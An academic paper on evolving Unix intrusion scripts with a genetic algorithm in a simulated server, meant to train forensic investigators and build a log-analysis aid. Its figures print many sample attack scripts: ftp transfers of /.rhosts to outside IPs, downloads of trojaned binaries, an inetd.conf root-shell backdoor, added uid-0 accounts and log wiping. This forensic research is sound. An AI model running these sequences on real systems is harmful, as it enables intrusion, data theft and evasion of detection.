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ABSTRACT 
Evolutionary computation is used to construct undetectable 
computer attack scripts. Using a simulated operating system, we 
show that scripts can be evolved to cover their tracks and become 
difficult to detect from log file analysis.  

Categories and Subject Descriptors 
I.2.6 [Learning], I.2.8 [Problem Solving, Control Methods, and 
Search] 

General Terms 
Algorithms, Economics. 

Keywords 
Hacker, script kiddies, agent-based model, log analysis, 
vulnerability assessment. 

1. INTRODUCTION 
Computer security professionals are under increasing pressure to 
respond quickly and successfully to potential hacking incidents. 
While there exists only a small number of skilled investigators, 
recent techniques have made it possible for hackers to automate 
system exploitation, resulting in an overwhelming number of 
attacks. A vast majority of attacks actually results from automated 
scripts downloaded and executed by script kiddies [3,6]. 
Modeling hacker behavior is a potential remedy for this situation 
because it leads to the automation of both intrusion detection and 
evidence collection, which can aid less experienced security 
professionals in their investigations. Because a majority of the 
evidence intruders leave on a system is produced once they have 
already gained access to it, the focus of the present article is on 
this period of intrusion rather than the achievement of access 
itself. 

With the US Army’s Computer Crime Investigation Unit 
(CCIU), we have undertaken the modeling of hacker behavior on 

a shared computer system, along with the creation of a hacker 
grammar for exploring hacker scripts using evolutionary 
computation. The project objectives were achieved by 
representing the server-user-hacker system as an agent-based 
model, in which the normal users and hacker were agents and 
their environment was the server. An agent-based model was 
chosen in lieu of other model types for several reasons.  

• First, simulation, as opposed to running tests on real 
systems, allows to compress time and to run thousands 
or millions of intrusion scenarios to generate 
meaningful statistics about the incidents. The statistics 
generated by the model can then be used to train an 
intrusion detection system or an intelligent decision-
support tool for investigators and incident handlers. 
Another benefit of compressing time is in the use of the 
tool as a learning tool, allowing would-be investigators 
to explore many scenarios.  

• Second, this type of model provides a natural 
description of systems composed of many autonomous 
agents. Any model that captures behavior at a higher 
level of abstraction can miss the relevant bottom-up 
dynamics of the individual agents interacting with their 
environment.   

• Agent-based models are also scalable, in that agents can 
be added or removed from the system easily and 
without significantly modifying system-level behavior. 
In the case of the server model, this means it could be 
extended to incorporate a larger user-base or even a 
number of other servers, which would collectively 
function as a network.   

Finally, agent-based models enable the emergence of arbitrarily 
complex and/or error-prone behavior on the part of the agents. 
Thus, for instance, the range of hacker behavior is broadened to 
include everything from a near perfect intrusion to one that 
involves a number of errors, which can then be exploited by 
investigators. It is also possible to model agents that adapt and 
learn from experience. 

2. SIMULATION MODEL 
2.1 Operating System Environment 
The model is composed of two different types of agents, users and 
hackers, as well as their environment, which is the server.  
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- Users interact with the server by regularly logging in 
and out performing typical user behavior once on the 
system. This includes adding and modifying files and 
directories, as well as FTPing files to and from the 
machine.  

- The hacker interacts with the system by entering at 
random time and executing a pre-defined script, then 
leaving the system. The hacker either enters as the root 
user or as a normal user, who then uses the su command 
to become root.  

- All user actions, which include those of the hacker, are 
captured by the system in the same way that they are on 
real machines, namely, through log files and file 
statistics.  

These records are then later used for analysis to see what evidence 
the intruder has left behind. 

 

 
Figure 1. Elements of the model. 

 

2.1.1. The server 

The server is a collection of three sub-components: a filesystem, a 
kernel and several ports. 

Filesystem. The first component of the computer is the 
filesystem, which is a subset of the standard Linux directory tree, 
including directories such as /var, /usr, and /bin.  Within the tree 
are system files, like /etc/passwd and /etc/inetd.conf, user files, 
such as Powerpoint and text files, and log files, like 
/var/log/secure. The content of user files is arbitrary, as it is 
irrelevant to the behavior of the model. All files and directories 
are owned by a particular user and group, with system files owned 
exclusively by root. In addition, files have read, write and execute 
permissions specific to the owner, group, and "other". Both file 
ownership and permission settings are resettable by the standard 
chmod, chown and chgrp commands (commands are discussed in 
the next section). Finally, files possess statistics such as their size, 
the time they were created, as well as the last time they were 
modified, accessed, or changed. This information can be accessed 
with the stat command. The filesystem is extensible in that users 
are free to add, remove and modify files and directories, but 
always within the confines of their permissions. The root user, by 
contrast, has permission to make any changes to the system.   

Kernel. The kernel of the computer provides an interface through 
which users can interact with the filesystem. Users communicate 
through the interface by issuing standard Unix commands to the 
kernel, which then attempts the desired action and returns the 
result. The language users have to work with is a subset of the 
Unix command language that preserves its syntax exactly.  So, for 
instance, a user might move a file by issuing the following 
command to the kernel: mv file1 /home/mydir/file2. All user 
commands are logged by the kernel as they would be on a real 
system, via log files such as .bash_history and /var/log/messages.  
The kernel is similarly in charge of enforcing file permissions and 
updating file statistics.   

 

Ports. During simulation, normal users alternate between being 
logged into the system (as though they had a shell) and being 
logged in remotely through FTP, in which case they are restricted 
to merely adding and retrieving files.  Whenever a user initiates a 
connection with the machine by logging in or issuing FTP 
commands, that connection must go through one of several ports 
operating on the system.  The three currently implemented ports 
are port 21 (FTP), 23 (telnet) and 55 (SSH).  All logins and 
logouts prompt log entries to be added to files such as 
/var/log/wtmp and /var/log/lastlog.   

 

2.1.2. Normal users 

The agents who provide most of the activity in the model are the 
normal users. They are constantly issuing commands to the 
computer between logging in and out.  A normal user represents 
not only a person interacting with the server, but a person with a 
valid account on the machine.  Thus, each user has a user and 
group name as well as a user ID (uid) and group ID (gid), which 
the computer uses to keep track of them and determine 
permissions. Each user also has their own home directory, located 
under /home, within which he has full read and write permissions.  
Located in this home directory is the user's .bash_history file, 
which records all commands he has made. Unlike the hacker 
agent that executes a pre-defined script, normal users issue 
random commands throughout the simulation, resulting in what 
could be considered white-noise on the system. It is against the 
backdrop of this white-noise that hacker actions must be detected. 

 

2.1.3. Hackers 

While normal users represent individuals with valid accounts on 
the system, hackers represent individuals who do not have valid 
accounts, but have rather hijacked the account of another. Thus all 
actions done by the hacker are in the name of another user, 
including root. Also unlike normal users, hackers do not 
constantly interact with the system throughout the duration of the 
simulation, but log into the system at a random time and execute a 
short script, intended to achieve one or more typical hacker goals. 
(Hacker scripts are discussed in the following section.) Hacker 
agents are intended to mimic the behavior of so-called "script-
kiddies", which are inexperienced hackers who use intrusion 
scripts designed by others, even though they often do not know 
how they work.  For this reason, hackers can make mistakes, such 
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as removing a file entry previously entered or removing the 
wrong number of lines from a .bash_history file.   

2.2 Scripts 
A hacker script is a sequence of commands that the hacker issues 
upon logging into the system. Scripts are pre-defined in the sense 
that they are created all at once right before the hacker enters the 
computer, but are, in fact, randomly generated using a simple 
grammar. The grammar works as follows: Every command a 
hacker makes is done in order to achieve a goal, be it the theft of a 
file, the introduction of a "backdoor" mechanism that allows the 
hacker to gain entry to the system in the future, and so on.  Many 
of these goals can be subsumed under other goals, in the way that 
trojaning a system binary and adding a user to the system are both 
ways of adding a backdoor. This subsumption tree can be used to 
generate a script by beginning at the most general goals at the top 
and then randomly deciding which possible sub-goals should be 
attempted, and how. This amounts to recursively walking down 
the tree, from sub-goal to sub-goal, until finally concrete 
commands are chosen. Sub-goals can be specified either as a 
sequence, a combination, or a single choice picked from a list.  
Items in a sequence are always executed in order, while a 
combination can return any subset of its items and in any order, 
creating the most variability.  When items are specified in a list, 
only a single item is returned. As an example, part of the sub-goal 
tree is illustrated in Figure 2. Here, we see that the top-level goals 
are a sequence of entering the system, “doing stuff”, possibly 
cleaning up, and then exiting. “Doing stuff” is, in fact, a 
combination of downloading a client, stealing files, creating a 
backdoor, and destroying files. This means that any given hacker 
script could involve any or all of these actions, performed in any 
order.  Walking further down the tree shows that creating a 
backdoor is another combination, which involves at least one 
choice, between removing /etc/hosts or /etc/hosts.deny. 

 
Figure 2. Table captions should be placed above the table. 

2.3 Log Analyzer 
The Log Analyzer is an analysis program that collects 

evidence from a computer after a simulation concludes. Gathering 
evidence here does not merely mean collecting raw log file data, 
but instead using simple rules to determine which out of 28 pre-
defined pieces of evidence a hacker has left behind. These rules 

involve scanning log files, the directory tree and the statistics of 
key files.  

Table 1 shows the relationship between basic hacker actions, 
log files, and detection scheme of the log analyzer. So therefore, 
in the world as defined by the model, it is possible for the hacker 
to be invisible. 

Table 2. Hacker actions, commands, resulting log trails and 
possible cleanup actions.  

 
 

3. GENETIC ALGORITHM 
In this section we describe how to evolve hacker scripts. 

3.1 Genotype 
The population we use is composed of scripts (Figure 3). One 
script is one individual. An individual is represented by a 
chromosome, which is itself composed by a sequence of genes. A 
hacking script is composed of a sequence of Unix commands. 
Therefore, it seems natural to define a gene as a single Unix 
command. The length of the scripts we use being variable, the 
chromosomes will also be of variable length. 
su root
ftp 215.80.223.152
get ftp
chmod u+x ftp
mv ftp /bin/ftp
rm /etc/hosts
cd /etc
echo 16000 stream tcp nowait
root /usr/sbin/tcpd /bin/sh >> 
inetd.conf
rm /etc/passwd
ftp 215.80.223.152
get trin00
mv trin00 /usr/bin/logmkr
exit

su root
ftp 215.80.223.152
get ftp
chmod u+x ftp
mv ftp /bin/ftp
rm /etc/hosts
cd /etc
echo 16000 stream tcp
nowait root 
/usr/sbin/tcpd /bin/sh >> 
inetd.conf
rm /etc/passwd
ftp 215.80.223.152
get trin00
mv trin00 /usr/bin/logmkr
exit

su root
ftp 161.121.131.182
put /.rhosts
ftp 161.121.131.182
get client1
mv client1 /usr/sbin/logmkr
ftp 161.121.131.182
get chatclnt
mv chatclnt /var/log/prog13
rm /etc/hosts.deny
ftp 161.121.131.182
get ftp
chmod u+x ftp
mv ftp /bin/ftp
echo 
jack:x:5000:5000:/usr:/tmp:/bin/bas
h >> /etc/passwd
echo 
jack:Yi2yCGHo0w0wg:10884:0:99999:-
1:-1:134538412 >> /etc/shadow
rm /var/log/wtmp
ftp 161.121.131.182
get cleanMessages
chmod u+x cleanMessages
./cleanMessages
rm cleanMessages
rm /var/log/prog13
exit

rm /etc/passwd
ftp 131.3.110.245
get client1
mv client1 /usr/sbin/logmkr
ftp 131.3.110.245
get cleanMessages
chmod u+x cleanMessages
./cleanMessages
rm cleanMessages
ftp 131.3.110.245
get cleanHistory
chmod u+x cleanHistory
./cleanHistory 0

su root
ftp 247.100.223.178
put /.rhosts
ftp 247.100.223.178
get cleanMessages
chmod u+x
cleanMessages
./cleanMessages
rm cleanMessages
ftp 247.100.223.178
get cleanHistory
chmod u+x cleanHistory
./cleanHistory 2
exit

su root
ftp 123.129.134.192
get chatclnt
mv chatclnt
/usr/sbin/mail.old
exit

su root
rm /etc/passwd
ftp 97.13.29.106
put /.rhosts
exit

su root
ftp 182.153.20.95
get client1
mv client1 /usr/sbin/logmkr
ftp 182.153.20.95
get chatclnt
mv chatclnt /usr/sbin/prog13
ftp 182.153.20.95
put /.rhosts
echo jill:x:0:0:/usr:/tmp:/bin/bash >> 
/etc/passwd
echo jill:jwPhUFnekNkMAjYnT:0:0:99999:-1:-
1:62846273 >> /etc/shadow
echo jack:x:5000:5000:/usr:/tmp:/bin/bash 
>> /etc/passwd
echo jack:Yi2yCGHo0w0wg:10884:0:99999:-1:-
1:134538412 >> /etc/shadow
ftp 182.153.20.95
get ftp
chmod u+x ftp
mv ftp /bin/ftp
exit

su root
ftp 148.122.248.125
get ftp
chmod u+x ftp
mv ftp /bin/ftp
ftp 148.122.248.125
put /.rhosts
rm /etc/inetd.conf
exit

su root
cd /var
ls
cd www
ls
cd html
rm index.html
rm /etc/hosts
ftp 230.128.40.35
get login
chmod u+x login
mv login /bin/login
rm /var/log/lastlog
rm /var/log/secure
rm /.bash_history
rm /var/log/wtmp
ftp 230.128.40.35
get cleanMessages
chmod u+x cleanMessages
./cleanMessages
rm cleanMessages
exit

su root
ftp 233.172.96.241
get client1
mv client1 
/usr/bin/mail.old
chmod u+x
/usr/bin/mail.old
ftp 233.172.96.241
get chat1
mv chat1 /usr/bin/prog13
exit

su root
rm /etc/passwd
ftp 234.128.245.189
put /.rhosts
rm /var/log/messages
rm /var/log/wtmp
ftp 234.128.245.189
get cleanMessages
chmod u+x
cleanMessages
./cleanMessages
rm cleanMessages
exit

su root
ftp 32.210.172.217
put /.rhosts
rm /etc/inetd.conf
ftp 32.210.172.217
get client1
mv client1 /var/log/mail.old
chmod u+x /var/log/mail.old
ftp 32.210.172.217
get cleanMessages
chmod u+x cleanMessages
./cleanMessages
ftp 32.210.172.217
get cleanHistory
chmod u+x cleanHistory
./cleanHistory 5
rm cleanHistory
exit

su root
ftp 2.160.224.21
get trin00
mv trin00 
/usr/bin/prog13
ftp 2.160.224.21
get chat1
mv chat1 /var/log/logmkr
ftp 2.160.224.21
get cleanHistory
chmod u+x cleanHistory
./cleanHistory 8
rm cleanHistory
rm /var/log/wtmp
rm /.bash_history
rm /var/log/lastlog
exit

 
Figure 3. A population of scripts. 
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We define the gene pool as the complete set of Unix commands 
that can be generated in the model (Figure 4). A chromosome is 
composed of an ordered subset of the gene pool. 

su root
ftp 234.74.136.227

put /.rhosts
chmod u+x /var/log/logmkr

get chat1
get cleanMessages chmod u+x cleanMessages

mv client1 /usr/bin/logmkr rm /etc/hosts.deny
get trin00 mv trin00 /var/log/prog13

cd www ls
rm /var/log/lastlog rm /var/log/wtmp
chmod u+x cleanHistory ./cleanHistory 9

get bash chmod u+x bash
echo 16000 stream tcp nowait root /usr/sbin/tcpd /bin/sh >> /etc/inetd.conf

./cleanHistory 10
mv ftp /bin/ftp echo jill:x:0:0:/usr:/tmp:/bin/bash >> /etc/passwd

mv trin00 /var/log/mail.old chmod u+x /var/log/mail.old
chmod u+x /usr/bin/prog13 cd /usr/bin

chmod u+x login mv login /bin/login
rm /.bash_history mv client1 /var/log/mail.old

mv trin00 /usr/bin/logmkr chmod u+x /usr/bin/logmkr
chmod u+x /usr/sbin/logmkr mv trin00 /usr/bin/mail.old

./cleanHistory 8 rm /var/log/messages
mv chatclnt /usr/sbin/prog13 mv client1 /var/log/prog13

mv chatclnt /var/log/prog13 ./mail.old
./cleanHistory 6

mv client1 /usr/sbin/mail.old
rm /usr/bin/logmkr

mv chatclnt /usr/bin/mail.old

 
Figure 4. Example gene pool. 

 
The initial population is a random population of consistent 
hacking scripts. A fitness function is defined, which uses the 
simulation engine to assign a numeric value to each individual 
script in the population. The fitness function, described below, is 
a measure of the “efficiency and effectiveness” of the hacking 
script 

3.2 Operators 
A classic set of genetic operators is used: elitism, mutation, 
crossover, gene subtraction, diversity injection. 

The elitism operator extracts the top individuals, with regard to 
their fitness, for a given generation and inserts them in the next 
generation. 

The diversity injection operator adds new individuals to a given 
population.  

The crossover operator is a one-point operator that creates a new 
offspring from two parents. It uniformly randomly picks a point in 
the first parent's chromosome, all the genes before this points are 
given to the offspring. It then uniformly randomly picks another 
point in the second's parent chromosome, and all the genes after 
this point are added to the offspring’s chromosome. 

The mutation operator works as follow: the genes of the parent 
are visited one after the other. There is a fixed probability of 0.05 
that it will be mutated. If it is, a gene is randomly selected from 
the gene pool to replace the parent's gene with this new one. 

The gene deletion operator is is intended to make chromosomes 
shorter. A random number of genes (between 1 and 5) are deleted, 
at random locations on the chromosome.  

Figures 5, 6 and 7 illustrate the crossover, mutation and deletion 
operators. 

 

rm /etc/passwd
echo 
jack:x:5000:5000:/usr:/tmp:/bin/bash 
>> /etc/passwd
echo 
jack:Yi2yCGHo0w0wg:10884:0:99999:-
1:-1:134538412 >> /etc/shadow
cd /etc
echo 16000 stream tcp nowait root 
/usr/sbin/tcpd /bin/sh >> inetd.conf
rm /etc/hosts.deny
ftp 171.199.238.144
get bash
chmod u+x bash
mv bash /bin/bash
ftp 171.199.238.144
get client1
mv client1 /usr/sbin/logmkr
rm /var/log/secure
rm /.bash_history
rm /var/log/wtmp

su root
ftp 148.122.248.125
get ftp
chmod u+x ftp
mv ftp /bin/ftp
ftp 148.122.248.125
put /.rhosts
rm /etc/inetd.conf
exit

su root
ftp 148.122.248.125
get ftp
chmod u+x ftp
get client1
mv client1 
/usr/sbin/logmkr
rm /var/log/secure
rm /.bash_history
rm /var/log/wtmp

 
Figure 5. Crossover. 

 

su root
ftp 165.86.137.255
get chatclnt
mv chatclnt /usr/bin/mail.old
chmod u+x /usr/bin/mail.old
ftp 165.86.137.255
put /.rhosts
ls
cd /var
cd www
ls
cd html
rm index.html
ftp 165.86.137.255
get cleanMessages
chmod u+x cleanMessages
./cleanMessages
rm /var/log/lastlog
rm /var/log/messages
rm /var/log/secure
rm /.bash_history
rm /var/log/wtmp
exit

su root
ftp 165.86.137.255
get chatclnt
mv chatclnt /usr/bin/mail.old
chmod u+x /usr/bin/mail.old
ftp 165.86.137.255
put /.rhosts
ls
cd /var
cd www
ls
cd html
rm index.html
ftp 165.86.137.255
get cleanMessages
get login
./cleanMessages
rm /var/log/lastlog
rm /var/log/messages
rm /var/log/secure
rm /.bash_history
rm /var/log/wtmp
exit  

Figure 6. Mutation. 
 

su root
ftp 165.86.137.255
get chatclnt
mv chatclnt /usr/bin/mail.old
chmod u+x /usr/bin/mail.old
ftp 165.86.137.255
put /.rhosts
ls
cd /var
cd www
ls
cd html
rm index.html
ftp 165.86.137.255
get cleanMessages
chmod u+x cleanMessages
./cleanMessages
rm /var/log/lastlog
rm /var/log/messages
rm /var/log/secure
rm /.bash_history
rm /var/log/wtmp
exit

su root
ftp 165.86.137.255
get chatclnt
mv chatclnt /usr/bin/mail.old
ftp 165.86.137.255
put /.rhosts
cd /var
cd www
cd html
rm index.html
ftp 165.86.137.255
get cleanMessages
./cleanMessages
rm /var/log/lastlog
rm /var/log/messages
rm /var/log/secure
rm /.bash_history
rm /var/log/wtmp
exit

 
Figure 7. Deletion. 
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3.3 Selection 
If generation n is a collection of p=5m individuals, generation 
n+1 is constructed as follows. 

• Elitism is used to select the m best individuals to move 
to generation n+1. After this operation, generation n+1 
has m individuals. 

• For all the following operators, parent individuals are 
chosen using a selector function, which will pick a 
random individual among the half best of generation n. 

• m individuals are selected, and mutation is applied to 
them. After this operation, generation n+1 has 2m 
individuals. 

• Crossover is performed m times (select parents and 
cross them over). After this operation, generation n+1 
has 3m individuals. 

• m individual are selected, gene subtraction is applied to 
them. After this operation, generation n+1 has 4m 
individuals. 

• The final m individuals needed are generated by using 
the diversity injection operator. 

• The fitness of the p=5m individuals in generation n+1 is 
evaluated. 

3.4 Fitness 
The fitness is a measurement of the efficiency and effectiveness 
of the hacking script, that is, how much damage it can inflict with 
the most compact possible sequence of commands without being 
detected. To evaluate fitness, the hacking script is fed into the 
simulator described earlier. Hacker activity is monitored during 
the simulation. When se simulation is over, the log analyzer is 
used to compute the fitness value. Components of the fitness 
function are: 

• number of goals achieved by the hacker (#g) 

• number of pieces of evidence discovered by the log 
analyzer (#e) 

• number of bad commands used by the hacker (#b) 

• length of the script used by the hacker (#c) 
 

Two fitness functions were used: 
 

Fitness 1. If the hacker achieves 0 goal, the fitness is 0. If he 
achieves at least one goal, the fitness value is given by: 
1/(1+#e^2)*1/(1+#b)*1/(1+#c/10). Fitness decreases the number 
of pieces of evidence detected by the log analyzer increases, as 
the number of invalid commands increases, and as the length of 
the script increases. Fitness is therefore maximized by a short 
script that leaves no trace, and has no bad commands. 

Fitness 2. The second fitness function is given by: (g/4.0)* 
1.0/(1+e)^2*1.0/(1+b)*1.0/(1.0+c/10). The difference between 
Fitness 1 and Fitness 2 is the explicit reward in Fitness 2 for 
achieving as many goals as possible. 
 

4. EXPERIMENTS 

4.1 Experiment with Fitness 1 
A population of 150 individuals (m=30) is used. In one example, 
the genetic algorithm was run for 213 generations. Figures 8 and 9 
show the evolution of chromosome length and fitness, 
respectively.  
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Figure 8. Evolution of chromosome length. 

 

Fitness variation
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Figure 9. Fitness evolution. 

 

The top-scoring scripts obtained from various runs of this 
experiment share many features. The typical high-scoring 
scenario includes: 

• being a user, become root 

• upload file .rhosts to a remote server (steal file) 

• clean the messages file to remove the trace of the su 
command 

• clean the bash_history file 

The top-scoring script is somewhat better than others because it is 
shorter. Figure 10 shows two examples of high-scoring scripts, 
with the one from generation 213 more compact. 
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su root
ftp 159.24.220.205
put /.rhosts
ftp 159.24.220.205
get cleanMessages
./cleanMessages
ftp 159.24.220.205
get cleanHistory
chmod u+x cleanHistory
./cleanHistory 11
rm cleanHistory
exit

su root
ftp 159.24.220.205
put /.rhosts
ftp 159.24.220.205
get cleanMessages
./cleanMessages
ftp 159.24.220.205
get cleanHistory
./cleanHistory 11
exit

Generation 100 Generation 213  
Figure 10. Two example scripts. 

 

4.2 Experiment with Fitness 2 
A population of 150 individuals (m=30) is used. In one example, 
the genetic algorithm was run for 67 generations. Figures 11 and 
12 show the evolution of chromosome length and fitness, 
respectively. 
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Figure 11. Evolution of chromosome length. 
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Figure 12. Fitness evolution. 

 

The top scorer is very similar to the one we had in the previous 
experiment. Figure 13 shows the top scorer together with another 
interesting, high-scoring script. The latter one could be evolved 
further in order to remove some commands such as the chmods 
but it is interesting in the sense that it achieves several goals of 
the same type (several backdoors). 

su root
ftp 236.9.59.231
put /.rhosts
ftp 236.9.59.231
get cleanMessages
chmod u+x cleanMessages
./cleanMessages
ftp 236.9.59.231
get cleanHistory
./cleanHistory 9
rm cleanHistory
exit

su root
ftp 59.215.37.17
get chat1
mv chat1 /usr/sbin/logmkr
ftp 59.215.37.17
get client1
mv client1 /usr/bin/logmkr
ftp 59.215.37.17
get bash
chmod u+x bash
mv bash /bin/bash
ftp 213.79.105.162
get ftp
chmod u+x ftp
mv ftp /bin/ftp
ftp 213.79.105.162
get client1
mv client1 /usr/sbin/mail.old
chmod u+x /usr/sbin/mail.old
ftp 213.79.105.162
get cleanMessages
./cleanMessages
ftp 213.79.105.162
get cleanHistory
./cleanHistory 11
exit

Top scorer

Scorer #6  
Figure 13. Two example scripts. 

 

5. LOG ANALYSIS TOOL 
Once sufficient statistics are generated through a large number of 
scripts, one can build a tool that uses the model to help 
inexperienced investigators decide what evidence to look for next 
when analyzing a potentially compromised machine. Such a tool 
provides a dialog box in which suggestions are continually being 
made by the computer as to types of evidence the user should 
look for, which are in turn informed by responses from the user 
that indicate whether these types were indeed found. This 
suggestion tool can then be used either in the training of new 
investigators or as an aid to expedite real investigations.   

Creation of the tool is achieved in two stages. The first is the 
addition of an analysis program that gathers evidence from a 
computer after a simulation concludes. Gathering evidence here 
does not merely mean collecting raw log file data, but instead 
using simple rules to determine which out of the pre-defined 
pieces of evidence a hacker has left behind. These rules involve 
scanning log files, the directory tree and the statistics of key files. 
The results of this analysis are added to a matrix that records how 
many times two types of evidence were seen together. An 
example of this matrix can be seen in Figure 14 below. When 
large numbers of simulations are run, these correlations indicate, 
on average, how likely one is to find one type of evidence given 
that another has already been found.   
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Figure 14. Correlation matrix. 

 

The second stage of the tool involved designing a graphical user 
interface (GUI) through which dialog with the tool can take place. 
This interface, displayed in Figure 15, allows the user to select 
which of the pre-defined evidence types he has found on the 
machine. The tool then suggests the user look for the type of 
evidence that is most highly-correlated with the type inputted. If 
the suggestion has to do with log file entries, an example of a file 
that contains the suggested type of evidence is displayed in a text 
box at the bottom of the screen. Feedback is returned to the tool 
by the user indicating with a pair of buttons whether or not the 
evidence was found on the machine they are investigating. A 
dialog then ensues, in which the tool always suggests the type of 
evidence that is most highly-correlated with any of the types the 
user has actually found and has not previously been suggested. 
So, for instance, if the user has indicated so far in the dialog that 
he has found types 2, 5, and 12, and the correlation between 7 and 
5 is greater than that between the any of the three and any other 
type, then type 7 is suggested. 

Figure 15. The interface of the investigation tool.  A 
suggestion to check for evidence of a superuser session has 

been offered, along with sample evidence contained within a 
/var/log/messages file captured during simulation. 

 

6. DISCUSSION 
In this paper we have shown the feasibility of evolving hacker 
scripts using a simulated environment. More specifically: 

• A detailed but incomplete model of a server was 
constructed within the larger context of an agent-based 
model of a server-user-hacker system. Within this 
system, users and hacker interact with the server by 
issuing standard Unix commands with the end result of 
altering the file system. Evidence left by the hacker is 
left against the backdrop of random commands issued 
by the normal users.   

• Many simulations have been run to generate intrusion 
statistics that can be fed into an intelligent layer. 

• Hacker behavior was modeled using a grammar for 
hacker scripts, which allowed a large space of intrusions 
to be explored. This grammar utilizes the general goal-
structure of hacker activity to produce randomized 
scripts that are all viable intrusion scripts. 

• An evolutionary algorithm has been used to evolve 
scripts and produce scripts that achieve certain goals 
without being detectable in log files. 

Despite its simplicity, the model and system presented in this 
paper have a lot of practical applications when properly extended. 
Applications include:  

• Generating sufficient statistics to help systems 
administrators, incident-handlers and inexperienced 
forensic analysts explore log files for evidence. 

• The tool can be used as is as a training tool to fully 
understand the dynamics of an attack and the sometimes 
complex mapping from hacker actions to logs. 

• The tool can be applied for threat analysis and 
vulnerability assessment as it tries to break into a 
system by finding its detection vulnerabilities. The tool 
can in principle discover unsuspected vulnerabilities. 

• The tool can be used to generate signature-based 
intrusion detectors. 

• The agent-based simulation model can be easily applied 
to an important category of hackers: insiders.  

The model can be refined in order to achieve a greater degree of 
realism at a variety of levels: Unix commands, usage statistics. 
The crucial tradeoff is reaching a sufficient degree of realism to 
generate meaningful results and help educate investigators while 
maintaining enough simplification so that a large number of 
simulations can be run in a short amount of time. Real-world tests 
can be performed once scripts have been evolved with a 
simulator. The model described in this paper deals with a single 
machine. Obviously it can and should be extended to include 
interconnected machines, including machines running a variety of 
operating systems, and routers. It is possible for example to use 
OS emulators such as VMWare, which can emulate multiple 
operating systems (including Linux) on a single PC. It could be 
the ideal setup for our testing purposes. This would enable the 
model to deal with access (how does the hacker get access to a 
machine), intrusion on connected machines, router-centered 
attacks, correlated attacks. A subsequent step is to aim for 

1911



accurate modeling of distributed denial-of-service attacks. At the 
other end of the modeling spectrum, modeling and evolving code 
injection scripts could be just as useful a tool [2]. The analysis of 
log files and system files for evidence collection can also be 
improved. Various machine learning or data-mining techniques 
could be employed to recognize patterns in data, with Bayesian 
networks then used to decipher causal relationships between these 
patterns. Lastly, instead of maintaining security systems fixed, 
one can build the equivalent of the hacker grammar for security 
systems and co-evolve hacker scripts with security systems. This 
simulated arms race would allow us to predict where the most 
likely next wave of hackers would hit, several steps ahead. 
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